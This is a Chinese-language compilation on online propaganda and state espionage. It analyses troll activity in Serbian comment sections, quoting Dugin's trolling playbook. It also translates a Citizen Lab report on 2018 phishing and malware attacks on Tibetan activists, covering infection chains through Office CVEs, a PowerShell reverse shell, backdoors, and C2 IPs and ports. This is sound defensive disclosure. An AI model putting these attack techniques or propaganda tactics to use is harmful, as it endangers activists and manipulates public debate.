与内部敌人的争论—俄罗斯右翼政治科学家亚历山大·杜金（Aleksandr Dugin）正在提出一个修辞框架，这与我们在塞尔维亚在线领域中可以找到的模式非常类似。“很明显，我们国家有两个阵营：爱国阵营（普京，人民和’我们’）和自由派西方阵营（’他们’，你知道是谁）……一个同义词系统被用于应该发展什么样的论战。但是，应该记住，这种同义词需要是对称的。例如，他们称我们为“爱国者”，我们的回应就使用“自由派”和“西方人”（俄语 западники）这两个词。如果那些不是美国的人称我们为’民族主义者’，共产主义者’，’苏维埃’，那么我们的回应将是：“美国影响力的代理人”和“第五纵队”。如果他们使用“纳粹”或“斯大林主义”一词，我们的反应应该是“间谍”，“叛徒”，“中央情报局付给你多少钱？” 或者“间谍死亡”…一个自动爱国的 trolling 软件，消极变形器，meme 和病毒式传播的视频……或类似初级爱国者的吸睛材料也可用于对抗它们。”

「图」

「图」

中国的啦啦队💣—长期以来，中国政府一直被怀疑雇用了多达200万人偷偷将大量的假名和其他欺骗性内容插入真实的社交媒体帖子中，就好像他们是普通人的真实意见那样。2016 年6月，哈佛研究人员发表研究报告探索了这个庞大的政府工程，其中，据他们说，每年都有所谓的50C党在全国撰写大约4.48亿社交媒体文章。但是，尽管记者和活动人士先前曾声称50c党占据优势，但研究表明，大约80％的这类水军属于啦啦队类别，13％ 属于非议论性赞扬或建议，在其他类别中则只有微小的数量，包括在议论上赞美或批评或嘲弄外国几乎为零。这是与俄罗斯的绝

大不同。

量化公共讨论领域的污染除了查看泄露的材料和软件外，我们还试图在选举前期间搜索一些可量化和分析塞尔维亚一些最大的在线媒体机构的评论和用户投票的语料库。

评论的星系

我们分析了 2016 年5月4日至 2016 年4月21日期间塞尔维亚5家最大在线媒体（b92，blic，n1，kurir，telegraf .rs ）的政治部门的评论。在这里，我们将提出一些关于如何想象和理解不同异常情况的想法，这些异常现象可以指出潜在的有组织的政治隐性宣传形式。其中105.227 条评论中的每一条都表示为一个小圆圈。此地图上较大较亮的“星星”是相同的评论，即 在不同的文章和不同的在线媒体门户网站上多次出现。

「图」

「图」

在这里我们可以清楚地发现，除了政治口号（例如“Dosta je bilo”）之外，还有大量相同的评论，由不同的用户使用，并分布在各种媒体门户网站和不同的新闻文章中。我们认为这是推测网络水军的一个可用指标。

「图」

「图」

我们可以清楚地看到存在一些异常情况，例如几乎定期出现超过 5000 个正面或负面评论的反馈，有些评论甚至有超过 50.000 反馈。这些较大的数字实际上往往与被检查网站的唯一访问者数量完全不成比例。

为了查看这些评论和投票数量的动态如何变化，我们以多个泡泡图的形式对其进行了可视化，其中每个评论都是一个泡泡，其大小由投票总数决定。这是为了捕捉公众和潜在的政治内容投票及评论其背后的代理人的注意力。

「图」

「图」

但是为了深入探索，我们应该在单篇文章的层面上更深入一些。我们选择了一篇基于我们收集的数据显示出一些异常的文章。

「图」

「图」

在这个例子中，我们可以发现：#与网站上唯一的用户数量相比，一些投票呈现不成比例的痕迹;

- 随着时间推移，投票的数量有奇怪的高峰；
- 有笨拙的营销痕迹。但我们可以从这个样本中读到的另一个有趣的观点是，营销不仅仅局限于亲政府行为者—它更像是不同政治选择的共同活动。

1. 延伸阅读：《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

- 《一个获知20年的通信漏洞不仅能窃听、还能盗取双重身份验证码，为什么不修复？》

剑桥大学研究员 MiljanaRadivojević 和她的电子邮件被攻击的案例则特别有趣。她与一位与她一起工作的同事的私人电子邮件的内容，关于内政部长 NebojšaStefanović 的剽窃论文的故事，在国家电视台的脱口秀节目中被展示出来了。这一行为的目的是摧毁 MiljanaRadivojević 的声誉，在公众面前诋毁她。

在调查记者 DraganaPećo 的案件中出现了另一种诋毁行为。她定期

以在线方式向塞尔维亚机构发送“信息自由法案”请求，使用标准表格和手写签名的数字副本撰写请求，然后通过电子邮件发送。在某些时候，她接到了一家国营公司的公关代表的电话，该公司收到了一份 FOI 请求，由该记者“签名”并提交。事实证明，同一个记者签署的相同请求被发送给了若干公共机构和私人公司，是的变成了垃圾邮件，使用的是 Gmail 注册的电子邮件帐户，但该记者从未使用过这个邮箱，也没有创建过任何 Gmail。这也是一种篡改某人或某个群体声誉的方式，就像美国警方假扮记者对目标人进行社交工程钓鱼。

预告—第二部分：《可视化信息战：社交媒体战场、逮捕和羁押》

——未完待续——

原文

网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iYouPort

技术暴政政府的间谍行为维稳面面观自我保护措施-技术技巧以防身长读

压制性政权越来越擅长利用数字间谍来镇压异议并扼杀国内外的反对，甚至在民主国家也是如此。美国公民社会组织报告的威胁所占比例为第二大，仅次于中国—— 最新报告，分析技术局势

十多年来，民间社会组织（CSO）一直受到来自大公司和政府的几乎相同强度的攻击，不仅威胁言论自由，而且威胁民主本身。

2009 年因窃取了谷歌源代码而“走红”的 Aurora 行动，其另一个主要目标似乎鲜为人知，那就是：西藏社区。

从那以后，国家支持的数字间谍活动越来越多地被用来对付全球的记者、活动家和人道主义团体。重要的是，尽管面临着与大公司相同的高级威胁，但公民社会组织"非常脆弱"，缺乏资源难以建立有效应对措施和获得外部帮助，使其极易受到攻击—并且随着威胁的不断发展，应对难度越来越大。

一种令人担忧的趋势已经非常明显：专制政权越来越擅长利用数字间谍来镇压异议并扼杀国内外的反对意见。

今年早些时候，哥伦比亚大学国际和公共事务学院与公民实验室的研究人员举办了一次研讨会，研究民间社会组织面临的数字威胁，以及他们在减轻这些威胁方面遇到的障碍。确定了以下六项挑战。

首先是，资源匮乏。学者们需要花时间和精力来推测网络冲突，更不用说还要收集和分析经验数据了。与此同时，像公民实验室这样的独立研究中心以及电子前沿基金会、人权观察和 Access Now 等非营利组织已经创建了一系列关于公民社会组织目标威胁的宝贵报告。这些

组织提供高质量的研究，但由于资金和人力限制，其产出有限。私人网络安全行业获得了更好的资金支持，有能力收集有关目标威胁的大量数据，但它是由商业利益驱动的，而这些利益通常不会优先考虑民间社会。

其次，针对民间社会组织的有针对性的数字威胁不仅仅局限于专制国家，而是一种全球性的威胁，因为这些政权越来越警惕民间社会，还能跨国攻击。下图显示了网络安全公司和独立研究中心对公共威胁报告的分析数据。

很大一部分威胁活动是针对自由民主国家的公民社会组织的—— 在美国，公民社会组织报告的威胁所占比例为第二大，仅次于中国。由于民间社会对于运作民主至关重要，专制政权通过数字手段向海外投射权力的趋势是对全球民主的严重攻击。

「图」

「图」

第三，技术发展为监督和间谍活动创造了新的机会，逃避了现有的监管和规范框架。情报部门和私营部门可以通过支持新市场的开发来利用这一灰色地带，例如商业间谍软件。虽然存在合法拦截的法律案件，但问责制正面临着严重的挑战，因为这些间谍工具被要求保密！这使得民间社会处于危险之中，正如围绕间谍软件提供商的诸多争议所显示的那样，如 FinFisher、Hacking Team 和 NSO 这些可恶的监视技术销售公司，其销售能力与领先的情报机构几乎一样，完全可以与几个专制政权相提并论。

延伸阅读：《//可视化数据：全球监控行业—— 谁是大哥？谁在作恶？//》

第四，当大多数攻击实际上依赖于社会工程学技术时，将重点放在开发技术的解决方案上是错的。虽然像美国的漏洞权益流程（VEP）这样的举措是一种潜在的有前途的方法以规范技术漏洞的披露，但是，它无法解决越来越多地使用社交工程技术来利用人的行为心理弱点而发起的攻击—— 例如好奇心，人类的下意识信任倾向和对社交的渴望、对缺乏关注的担忧。（后面我们会陆续详细介绍社交工程学骗局的实施，这个时代每个人都应该掌握一些这样的知识）

因此，单独调节技术手段就会忽略掉大多数威胁。在很多针对公民社会发起的攻击中，更多的努力被花费在有效的社会工程上，用于欺骗

目标打开恶意附件或链接，而不是利用技术本身的漏洞，后者已经被黑市炒得很昂贵了。（您可以在这里看到一些介绍《危险：监控技术公司正在推动对零日漏洞的利用》）

第五，很难量化间谍活动对目标公民社会组织的影响，特别是在长期范围内。攻击对公司和政府机构的影响可以通过其财务损失和泄露的敏感数据量来定量衡量，但影响公民社会组织的攻击很少导致财务损失，其导致的是逮捕和迫害目标个人及其家庭成员的人权，以及由于异议人士的个人帐户被盗取，被用于在社交网络上传播恶意软件，从而导致的是对异议群体内部互信问题的更长期的影响。

第六，没有一个通用的解决方案可以减轻公民社会组织面对的这种威胁。每个社区都会受到威胁，目标也不同。来自中国的威胁组织所针对的西藏侨民群体，可能与该政权和其他非国家行为组织针对叙利亚反对派成员发起的攻击，有着截然不同的威胁模式。

任何这些挑战都没有简单的答案。尽管如此，权利组织、政策制定者和科技公司都可以采取一些措施来改善公民社会组织的网络安全。

更重要的是，公民社会组织应该普及自我防御知识，加强应对危险的敏锐度，但目前似乎一些措施并不到位。去年一位公民社会的活动家拒绝了我发送的一封电子邮件，由于邮件附了一个很长的文档，他告诉我他不会打开任何附件和链接（甚至是来自熟人的，因为无法判断对方的邮箱是否被劫持了）。这种警惕性值得赞扬，但拒绝一切岂不是耽误工作了吗？实际上你完全可以使用基本技术把危险隔离出去，避免受到伤害，这里是具体措施的介绍。

以下是来自公民实验室的最新报告，作者：Geoffrey Alexander, Matt Brooks, Masashi Crete-Nishihata, Etienne Maynier, John Scott-Railton, 和 Ron Deibert。以今年发生的藏人活动家被攻击事件为例，具体分析这一攻击的技术和心理利用特征。请不要认为汉族和其他民族就能幸免，没人能做这样的保证。要知道，这种攻击方式已经出现在中国！

「图」

「图」

主要发现

- 本报告分析了2018年1月至3月间针对西藏活动家、记者、西藏

流亡议会(Tibetan Parliament in Exile)成员和西藏流亡政府(Central Tibetan Administration)的恶意软件攻击活动。
- 详细介绍 了对西藏 NGO 的入侵行动，并简要分析了入侵者在感染后的行为。
- 最近的这次攻击活动,以及公民实验室在 2016 年报道过的一次攻击, 都与一项更广泛的被称为“热带骑兵(Tropic Trooper)”的活动有关。这些关联的强度和意义仍在评估。
- 本报告研究了与调查封闭式间谍活动生态相关的挑战，准确描述了参与者及其造成的危害的重要性。

介绍

2018年1月，一位西藏活动家收到了一封看似平凡的电子邮件，自称是一个非政府人权组织的节目更新。邮件的附件是一个 PPT 和一个文档。与很多流亡藏人一样，这位活动家已经对这种不请自来的带着附件的电子邮件抱有警惕，他没有打开附件，而是把附件交给了公民实验室的研究人员。

他的怀疑是对的：附件是恶意的。如果点击了这个附件，它就将利用最近的漏洞用定制的恶意软件感染 **Windows** 计算机。这封电子邮件是2018年1月至3月期间针对西藏活动家、记者、西藏流亡议会成员和西藏流亡政府的恶意软件活动的开始。

公民实验室与目标群体密切合作，收集这些恶意邮件，并且与受感染的组织启动了事件响应。这种合作便于进一步了解攻击者使用的策略、技术和程序。

这一系列活动使用社会工程学技巧来欺骗目标打开利用了 **PowerPoint** 的"CVE-2017–0199" 漏洞和微软富文本文件**(RTF)** 的 "CVE-2017–11882" 电子邮件附件。恶意软件包括了我们称之为 **DMShell++** 的 **PowerShell Payload**，以及名为 "TSSL" 的后门，还有我们称之为 **DSNGInstaller** 的善后工具。

我们称最近的这次活动为“重浮水面”活动，因为它与2016年针对西藏流亡议会成员的活动有关（我们称其为“议会活动”）。出现这种关联可能是因为它们是由相同的小组发起的，或者是在多个小组之间共享工具和基础设施。

流亡藏人：一个被高度瞄准的群体

数字间谍活动的威胁是流亡藏民需要面对的现实，他们十多年来一直是恶意软件活动的目标。

从历史上看，这些攻击严重依赖于利用已知漏洞和远程访问木马(RAT)的恶意附件。这种策略可能是基于对于资源贫乏的民间团体的基本风险回报计算：如果他们使用没打补丁的系统，那么使用简单的技术工具就足够了，为什么还要冒着暴露更复杂的技术工具的风险呢？

相反，攻击者们似乎把他们大部分的创新都集中在了聪明的社会工程剂量上，并采用了“恰到好处”的方法。我们观察到的有限的技术创新可能是出于长期访问和持久性的现实需求，而不是为了更复杂的目的，例如模糊恶意软件作者的身份或者防止反编译。

转变战术?

自 2016 年以来，针对藏族群体的恶意软件活动的报告数量出现了大幅下降。取而代之的是，我们观察到这些活动"转向网络钓鱼"以获取在线账户的登陆凭证。

这一变化的一个值得注意的例外是议会活动，它使用已知且已被修补的漏洞来传播名为 KeyBoy 的定制恶意软件。此次攻击活动是自议会活动以来我们首次观察到的针对藏人社群的有针对性的恶意软件活动。

熟悉的联系

重浮水面活动使用了与议会活动不同的漏洞和 Payloads，但是使用了相同的链接。这两个活动都使用了相似的钓鱼信息，都是针对西藏流亡议会成员定制的。重浮水面活动中的一个用来发送钓鱼邮件的地址(`tibetanparliarnent[@][[yahoo.com|http://yahoo.com/]]`)在议会活动期间也被反复使用 。

在常用工具与代码的相似性上，这两个活动还与一个更广泛的称为“热带骑兵(Tropic Trooper)”的行动相关联，这个行动至少始于2012年，在2015年由趋势科技首次报告。热带骑兵行动针对的是台湾和菲律宾的政府和公司，其标志是使用包括"Yahaoyah", "Yahamam", 和"TSSL"在内的恶意软件。而重浮水面活动因为使用了 TSSL 而与热带骑兵联系到了一起。议会活动则因为 Keyboy 和 Yahaoyah 之间的代码相似性而被发现了关联。趋势科技

指出，**Yahoyah** 与"2013 年发现的 KeyBoy" 使用了相同版本的配置文件编码算法。

如果重浮水面活动与议会活动的背后是同一攻击者，那么他们似乎对自己的工具进行了有限和渐进的改进。然而，这些改进很小，而且不太可能花费太多成本。活动中使用的漏洞代码和 Powershell 代码都是公开发布的。漏洞代码在 Github 上就能找到，而 DMShell++(Powershell的Payload) 是用网上的代码改写的。

封闭的间谍生态：一项分析挑战

这些类型的活动使用封闭间谍生态定制的恶意软件，其中涉及的各方（例如，编写恶意软件的开发人员、攻击者、和鼓励开展这些活动的情报人员）难以识别和完全分割。情报人员可能是主动地在管理工具开发与目标选择，也可能是被动地奖励那些获取了他们感兴趣的目标信息的攻击者。比起商品化的恶意软件工具包（例如用于间谍活动的网络犯罪工具）或者政府专有的恶意软件（例如来自NSO集团的产品），对于封闭的间谍生态的花费和投入是难以计算的 。

封闭间谍生态中的“攻击者”经常能够被通过使用相同的工具和基础设施识别出来。这种归因分析能够把各种事件聚集成可识别的模式和指标。然而，小偷可以在不同时间使用不同的撬棍。例如，看似不同的活动和攻击者可以通过被 FireEye 称为“数字军需官”的东西联系在一起。

“数字军需官”是指在多个活动和小组之间共享的恶意软件开发和基础设施的资源。了解恶意软件活动中使用的工具和策略可以让人深入了解其技术能力，并且能让分析师跟踪一段时间内的活动，但仅凭这些并不能揭示攻击者收集的信息是如何被情报客户所使用的，也无法得知其对民间团体会造成怎样的伤害。

本报告分为一下几个部分：

第一部分: 重浮水面活动 —— 描述了2018年1月至3月间针对藏族群体的重浮水面活动。

第二部分: 调查妥协 —— 描述了一个西藏 NGO 的妥协，并分析了感染后攻击者的行为。

第三部分: 熟悉的联系 —— 突出了议会活动与重浮水面活动之间的关系，以及与被称为“热带骑兵(Tropic Trooper)”的行动之间的关系.

第四部分: 封闭间谍生态和识别危害 —— 讨论了分析封闭间谍生态的挑战，并将我们的调查置于针对流亡藏人的更广泛数字间谍活动趋势中。

第一部分:重浮水面活动

本节介绍 *2018* 年 *1* 月 ~ *3*月间针对藏族群体的重浮水面活动。

活动概述

我们观察了2018年1月16日至3月2日的重浮水面活动，并收集了7封针对西藏活动家、记者、西藏流亡议会成员和西藏流亡政府(Central Tibetan Administration, CTA)的钓鱼邮件。

这些邮件的发件地址模仿了西藏 NGO 或 CTA 工作人员的电子邮件地址，并且分享了有关宣传活动，文化活动和管理公告的内容。我们验证了其中一些信息是在社交媒体上公开发布的 ，而其他信息可能是从公共信件或者私人信息中手机传送的，这些信息可能是之前就被攻击者窃取了的。1月22日的钓鱼邮件是从`tibetanparliarnent[@][[yahoo.com|http://yahoo.com/]]`发送的，该邮件地址在议会活动中也被用于发送多个钓鱼邮件（参见图1）.

「图」

「图」

图1: 2018年1月22日发送的钓鱼邮件重用了 2016 年议会活动中使用的电子邮件地址

虽然议会活动和重浮水面活动使用了类似的社会工程策略和相同电子邮件地址来发送鱼叉式网络钓鱼邮件，但重浮水面活动使用了一种不同的、更新的恶意软件工具包。

在八次入侵尝试中的六次中，攻击者发送了一个 Microsoft PowerPoint 文件，利用 2017 年披露的一个漏洞（ CVE-2017–0199 ），旨在从远程服务器中投放用 Microsoft PowerShell 脚本语言编写的 Payload。 在 2018年1月的两次早期入侵尝试中，运营商还利用了 RTF 文档的漏洞（ CVE-2017–11882 ）。

「图」

「图」

图2 ：提供了重浮水面活动的时间表，突出显示了钓鱼邮件的发送时间和使用的漏洞。

感染链：CVE-2017–0199 和 DMShell ++

该活动中最常见的感染链是使用 PowerPoint Open XML 幻灯片文件（PPSX）利用 CVE-2017–0199 加载我们称之为 DMShel++ 的远程 Payload，这是一种用 Microsoft 的 PowerShell 脚本语言编写的基本 TCP 反向 shell。

我们在一个名为“DM_”的乌云（中国黑客论坛1）账号的公开发帖中观察到了一个非常类似的，虽然更简单的 DMShell++实现。 我们将在调查中发现的版本称为“DMShell++”，参考了它的乌云用户名，并结合他使用其他基本命令逐步更新 Wooyun 版本的事实。

我们观察了表1中列举的域名上托管的 DMShell++ 版本。但是，我们没有持续监视这些域名，因此攻击者可能使用了表中未列出的其他配置。

「图」

「图」

表1：在不同 DMShell++ 样品中观察到的 C2 配置列表

我们观察到的 DMShell++ 版本具有相同的功能，但命令和控制的配置不同。 表2 概述了 DMShell++ 的功能以及攻击者使用它的方法（技术细节包含在附录A中 ）。 这个基础脚本使远程攻击者可以对受害计算机进行大量控制。最初部署的通用 **Payload** 会隐藏攻击者的真实能力和意图，以避免防御者检测到入侵企图。

「图」

「图」

表2：DMShell++ 功能概述

感染链：CVE-2017–11882 和 DMShell++

在活动早期发送的两封钓鱼邮件中，除了之前描述的 PPSX 文件之外，攻击者还使用了第二个漏洞利用文档来部署 DMShell＋＋。 目前还不清楚为什么攻击者使用这种二次方法。 但是，考虑到这两个漏洞补丁发布之间的时间，以及用于执行 PowerShell Payload 的不同方法，攻击者可能希望通过测试两种方法来使其成功率最大化。

第二份文件是旨在利用 CVE-2017–11882 的 RTF 文件。 在这种情况下，此漏洞文档不会从远程位置加载 PowerShell 脚本，而是通过尝试将可执行（EXE）程序写入目标计算机来走上更传统的感染链。 EXE 程序旨在在目标计算机上创建一个小型 PowerShell 脚本，以解码和执行 DMShell＋＋ 的编码版本。 此 DMShell＋＋ 的版本被配置为使用同一 C2 基础设施作为在同一钓鱼邮件中的 PPSX 文件下载的远程版本（`27.126.186[.]222`上的端口`6001`， `6002`,和`6003`；附录D 提供了一个详细的服务器基础结构概述）。 图3概述了CVE 2017-11822和DMShell＋＋ 感染链。

「图」

「图」

图 3：CVE-2017–11882 和 DMShell＋＋ 感染链

感染链：CVE-2017–11882 和 TSSL Suite

在 2018 年1月23日发送的钓鱼邮件中，攻击者还使用了一个旨在利用 CVE-2017–11882 并在执行文件中嵌入的 Payload 的 RTF 文档。 但是，在这种情况下，攻击者部署了一组完全不同的工具。

当我们分析作为此感染链的一部分写入磁盘的文件时，我们观察到多个程序数据库（PDB）字符串。 可用时，PDB 字符串可以指示恶意软件创建者的环境以及已开发恶意软件的名字。

```
D:\Work\Project\VS\house\Apple
\Apple_20180115\Release\InstallClient.pdbD:\Work
\Project\VS\house\Apple\Apple_20180115\Release
\FakeRun.pdb
```

这些 PDB 字符串与一组称为 TSSL 的工具一致，这些工具之前已由趋势科技和普华永道描述，并与 KeyBoy 和热带骑兵活动相关。

在这些报告中分析的 TSSL 套件包括一个名为 FakeRun 的加载器和一

个名为 TClient 的后门程序。 虽然我们分析的样本与先前报告的实例（ 例如版本号、配置数据的存储、启动 Payload 的方法）存在一些差异，但我们得出结论，它们可能基于相同的源代码（有关详细的比较分析，请参阅 附录B 样品）。 图4 概述了 CVE 2017–11882 和 TSSL 套件感染链。

「图」

「图」

图4：CVE-2017–11882 和 TSSL Suite 感染链

第2部分：调查妥协

本节描述了西藏 *NGO* 的妥协，并分析了感染后的攻击者的行为。

该活动的第四封钓鱼邮件于 2018 年1月23日发送给为西藏 NGO，媒体和 CTA 工作的一系列目标。 该消息似乎是从西藏博物馆、CTA的官方博物馆的馆长那里发送的。 附在电子邮件中的是 **RTF** 和 **PPSX**，邮件声称提供有关西藏国家博物馆的信息（见图5）。 这些文件包含 CVE-2017–11882 和 TSSL Suite 感染链。

「图」

「图」

图5：发送给西藏活动家的钓鱼邮件

特别是有一个 **NGO** 受到严重攻击，并有多名工作人员收到电子邮件。 该小组的一名高级工作人员在办公室的计算机上打开了附件并遭到了入侵。 通过组织网络的事件响应，我们观察了攻击者在感染后采取的行动，并确定了第二个后门的使用。

网络日志显示了对于 IP 地址`115.126.86[.]151`上的端口`6001`，`8080`，和`8100`的连接，这与 TSSL 植入的配置文件匹配。 这个后门被配置为每隔 20 分钟与 C2 服务器通信，但我们很快注意到在分析网络日志期间，大多数连接实际上被 C2 服务器拒绝了。 基于这些模式，似乎 C2 服务器在一天中的大部分时间是关闭的，仅在一个很短的时间窗口内有效。

TClient 样本一直使用到1月29日，当时在受感染的系统上部署了一个新的后门，与表3中列出的新 C2 服务器进行通信。 我们将新的后门称

为“DSNGInstaller”，这个名称源于 Payload 的内部名称，讽刺的是 DSNG 是数字卫星新闻采集(Digital Satellite News Gathering, DSNG)的公认首字母缩略词。 两个后门都活跃到2月8日，然后 TClient 样本被删除。

「图」

「图」

表3：DSNGInstaller 后门的 C2 配置

表4 概述了 DSNGInstaller 的功能（技术细节包含在附录C 中 ）。 这些功能类似于 TClient 提供的功能。

「图」

「图」

表4：DSNGInstaller 后门的功能

虽然目前尚不清楚为什么攻击者在多日成功地未被检测到之后换用了其他恶意软件，但我们会考虑潜在的情况。 TSSL 恶意软件可能被我们不知道的其他目标检测到，这导致攻击者换用检测率较低的鲜为人知的工具。 另一种可能的情况是，攻击者认为 DSNGInstaller 工具的接口更加强大，因此对于预期的长期访问更为可取。 最后，DSNGIntaller 可能是另一个攻击者的首选工具。 最后一种情况将代表多个远程攻击者之间会将其监视受害者转手。

第 3 部分：熟悉的联系

本节重点介绍议会活动和重浮水面活动之间的联系，以及称为“热带骑兵”的行动。

活动联系

重浮水面活动中使用的策略、技术和程序将其与议会活动和被称为“热带骑兵”的行动联系起来。

趋势科技于 2015 年发布了第一份关于热带骑兵行动的公开报告 ，描述了针对台湾和菲律宾政府机构，军事机构和公司的恶意软件活动。该活动利用了旧漏洞（ CVE-2010–3333和CVE-2012–0158 ）并使用

了定制的恶意软件，趋势科技将其视为 TROJ_YAHOYAH和 BKDR_YAHAMAM。

趋势科技指出，Yahoyah 恶意软件使用与 Rapid7 分析的 2013 版 KeyBoy 相同的编码配置文件算法，认为在这些活动或至少恶意软件的开发者之间是有联系的。

在 2016 年议会活动中使用的 KeyBoy 样品与 Rapid7 所描述的样品在配置文件的编码上发生了显著的变化。 在 2013 的版本中，配置文件使用简化的基于静态密钥的算法进行编码。 较新的编码算法放弃了静态加密密钥的使用，转而使用"动态构造的查找表" 。重浮水面互动和议会活动之间的主要联系是重复使用雅虎电子邮件地址（ `Tibetanparliarnent[@][[yahoo.com|http://yahoo.com/]]` ）向西藏社区的目标发送钓鱼邮件。

最近，在 2018 年，趋势科技发布了热带骑兵的更新 ，注意到包含不同漏洞（ CVE-2017–11882 ， CVE-2018–0802 ）和 TSSL 工具套件的新感染链。 观察到的 C2 服务器中有一个域名（ `tibetnews[.]today` ），它与重浮水面活动中使用的域名的注册人信息相同。

图6 概述了这些活动之间的联系。

「图」

「图」

图6：重浮水面，议会和热带骑兵活动之间的联系

评估联系

活动之间的关系通常通过使用共同的技术指标（ 例如，恶意软件、服务器基础设施等）来绘制。 在某些情况下，这些联系可以把多个活动归因到某个“攻击者”或“小组”。 这些联系可以具有不同程度的强度，这也使得将活动归因到特定攻击者的可信度不同（参见表5）。

「图」

「图」

表5：联系类型和置信水平概述

一阶联系通常需要直接观察针对目标的恶意活动，因此可能不会公开（例如，安全公司从客户获取数据）。 相比之下，二阶和 N 阶联系通常可以在研究人员之间被标准化，并用于在活动之间建立联系。

例如，卡巴斯基根据使用的工具将据称是中国的威胁组织称为 Winnti 。 随着时间的推移，不同的活动和工具被分组在相同的名称下，例如，Microsoft 将与 Winnti 关联的多个小组称为“BARIUM”和“LEAD”。

虽然分组中的这些差异源于不同的一阶联系，但已经确定足够的二阶和 N 阶联系，以确定这都是 Winnti 的活动，ProtectWise 最近在报告中做了这一点。 在这些情况下，指标是有用的，但联系的强度可能不是很明显，并且可能导致非常广泛的分组和抽象。

对于热带骑兵，多家安全公司已经宣称他们建立了活动与攻击者的联系。 这些主张背后的证据强度并不总是很明显，但大多数似乎是二阶和/或 N 阶联系。 表 6 和图 7 详细介绍了这些报告中的联系。

「图」

「图」

表6：将恶意软件活动与热带骑兵联系的报告概述

*注意 ：此报告是第一次将 TSSL 工具包与热带骑兵相联系。 趋势科技未解释他们如何建立联系。

「图」

「图」

图7：将活动和恶意软件与热带骑兵相联系

第 4 部分：分析封闭生态系统的挑战

本节讨论调查封闭式间谍活动的挑战，并将我们的调查置于更广泛的针对流亡藏人的数字间谍活动的趋势中。

重浮水面活动使用了一系列新的和以前观察到了的工具，这些工具与以前用于热带骑兵活动的工具有相同的技术特征。 但是，仅凭这些联系并不能让我们最终确定这些活动是由同一个攻击者运作的。 这种含糊不清的态度说明了在分析活动之间的联系以及理解封闭式间谍生态

系统中不同参与者角色时所带来的一些分析上的挑战。

研究人员会给攻击者分组命名以识别他们。 虽然名称是至关重要的，但正如弗洛里安·罗斯（Florian Roth）和其他人所指出的那样，选择这些名称的过程可能会导致同一组拥有多个名称以及可能对名称所指的混淆。 这些活动与热带骑兵背后的“攻击者”之间的区别显示了其中的一些挑战。

关于热带骑兵的报告在描述它时使用了各种各样不同的，有时是模糊的方式（见表7）。 这种变化指出了使用一致命名所固有的一些麻烦：名字是指恶意软件活动，它们背后的“攻击者”，还是常见的工具集？ 它并不总是很清楚。

命名的复杂性部分源于主要活动中可能存在的多个操作角色。 这些角色可能包括恶意软件开发人员、攻击者以及情报人员。 这些角色之间的关系可以是简单的，也可以是多层的。 例如，开发人员可以兼作攻击者。 恶意软件开发人员可以与多个攻击者共享相互独立的工具。 情报人员可能是活跃的（ 即 直接参与攻击活动）也或被动的（ 即 从攻击者那里获得信息）。

不幸的是，在重浮水面活动中，我们看不到其组织角色的情况，这将不利于我们将其与热带骑兵之间建立更具决定性的关系。 同时，攻击者可以使用相同的工具来为多个情报人员处理多个任务。 当在活动间建立联系的主要手段是识别工具和基础设施时，这些复杂性就有可能带来挑战。

看看重浮水面活动中恶意软件和基础设施开发的时间表，可以说明这些挑战。 图8 显示，虽然基础设施是在发送第一个钓鱼邮件之前几个月部署的，但恶意软件的构建都是在活动开始前不久完成的。 基础设施部署和恶意软件构建之间的时差，再结合这次活动在代码上与热带骑兵相似的事实，表明恶意软件可能是在小组之间共享的资源。

「图」

「图」

图8：重浮水面活动中恶意软件和基础设施的开发时间表

重浮水面活动和议会活动与热带骑兵之间的联系识别攻击者以及他们与封闭间谍生态中其他成员的互动是困难的。 虽然这些活动共享工具和基础设施存在N阶联系，但仅根据这些信息，我们无法确定地说这

些活动是由一个团体进行的。 被认为是热带骑兵的活动也针对一系列政府、工业和民间团体目标，这可能表明具有多个情报消费者。

一种封闭间谍生态的观点 A View into Closed Espionage Ecosystems

虽然开发者，攻击者和最终情报消费者之间的关系往往不明确，但美国司法部（**DOJ**）最近对中国境内的间谍团体提出的起诉书提供了这些团体如何互动的一瞥。

2014年，美国司法部指控五名人民解放军军官经济间谍罪。 据称，这些军官是 APT1 黑客组织的一部分， Mandiant 首先将其确定为人民解放军总参谋部第三局的第二局。 APT1 针对众多政府和 500 强公司，但公民实验室也发现了其针对西藏活动家和大型国际非政府组织 的行动。

根据起诉书 ，**APT1** 服务的情报消费者包括：中国政府、以及寻求竞争对手知识产权和信息的中国公司。

在 2014 年的另一起案件中，美国司法部指控一名名叫苏斌的中国公民参与长期共谋，破坏美国主要的国防承包商，并向中国的实体出售有关技术项目的被盗信息。

苏斌与两名名字未知的阴谋家合作进行了入侵。 起诉书指出，共谋者位于中国，并与“中国的多个组织和实体”有关。 共谋者获得了 220 万元人民币（约合 995,400 美元）。 这些攻击者彼此分享了一份报告 ，详细说明了针对其中一个目标的成功入侵行动。 该报告包括对“过去的成就”的描述，包括窃取“民主运动”（针对香港的民主活动家）和“西藏独立运动”的文件。

这些案例对开发商、攻击者和情报消费者之间的互动提供了罕见的一瞥，这表明情报消费者们为经济间谍活动提供数百万美元的计划同样可以用在民间组织上。 虽然第一类行动可能导致知识产权和财产损失，但第二类可能会对目标个人或其家庭造成直接伤害。

解决分析挑战

安全研究人员通常没有 DOJ 起诉书中引用的证据和透明度水平，并且必须依靠现有的技术指标来跟踪群体并假设他们在封闭的间谍生态系统中的动机和作用。

未来工作的一个可能领域是使用正式方法（ 即 计算机科学中开发的用于描述硬件和软件系统属性的数学技术）来关联技术指标和活动。 这些技术可以提供更加系统的方式来将小组联系在一起，并减轻模糊性。

但是正如我们所讨论的，攻击者和恶意软件开发人员的识别只是其中的一个难题。 了解数字间谍活动的最终危害需要与目标社区进行互动。

显示危害：公民社会的视角

数字间谍已经成为流亡藏人的常见威胁。 数字安全意识和防御方法现在已成为社区的必需品。 根据这一经验，对于藏人来说，间谍活动的危害是显而易见的。 西藏数字安全培训师 Lobsang Gyatso Sither 提供了一个观点：

> “对于社区来说，摆脱‘我无所遁形’的思维方式非常重要，要思考我们之间的关系以及这些关系可能导致何种伤害。 流亡藏人通过各种组织相互联系，如果你受到了损害，你将成为最薄弱的环节，并允许间谍获得可用于锁定其他藏人的信息。 流亡藏人也经常与西藏境内的藏人接触，在那里伤害可能很严重——包括逮捕，拘留和监禁。

近年来，我们已经看到攻击者改用了网络钓鱼的策略，这使得重浮水面活动成为自 2016 年以来首次被发现的针对一个社群的恶意软件活动实例。

该活动采用熟悉的社会工程技巧与定制的恶意软件相结合。 为了应对数字间谍活动的持续威胁，西藏团体已经开展基层工作以增加数字安全教育，但改变行为和学会技能需要时间和耐心。
